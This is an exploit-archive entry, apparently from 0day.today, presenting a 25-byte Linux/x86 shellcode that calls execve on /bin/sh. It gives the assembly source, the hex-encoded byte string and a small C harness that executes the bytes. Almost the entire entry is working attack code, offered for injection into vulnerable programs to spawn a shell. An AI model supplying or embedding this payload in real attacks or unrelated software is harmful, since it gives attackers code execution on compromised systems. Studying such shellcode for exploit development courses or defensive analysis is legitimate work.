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Linux/x86 - execve /bin/sh Shellcode (25 bytes)
[# Exploit Title: Linux/x86 - execve /bin/sh ShellCode (25 bytes)
# Author: bolonobolo
# Vendor Homepage: None
# Software Link: None
# Tested on: Linux x86
# CVE: N/A
/*
global _start
section .text
_start:
cdq ; xor edx
mul edx
lea ecx, [eax]
mov esi, 0x68732f2f
mov edi, 0x6e69622f
push ecx ; push NULL in stack
push esi
push edi ; push hs/nib// in stack
lea ebx, [esp] ; load stack pointer to ebx
mov al, 0xb ; load execve in eax
int 0x80 ; execute
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80";
void main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
# 0day.today [2024-12-28] #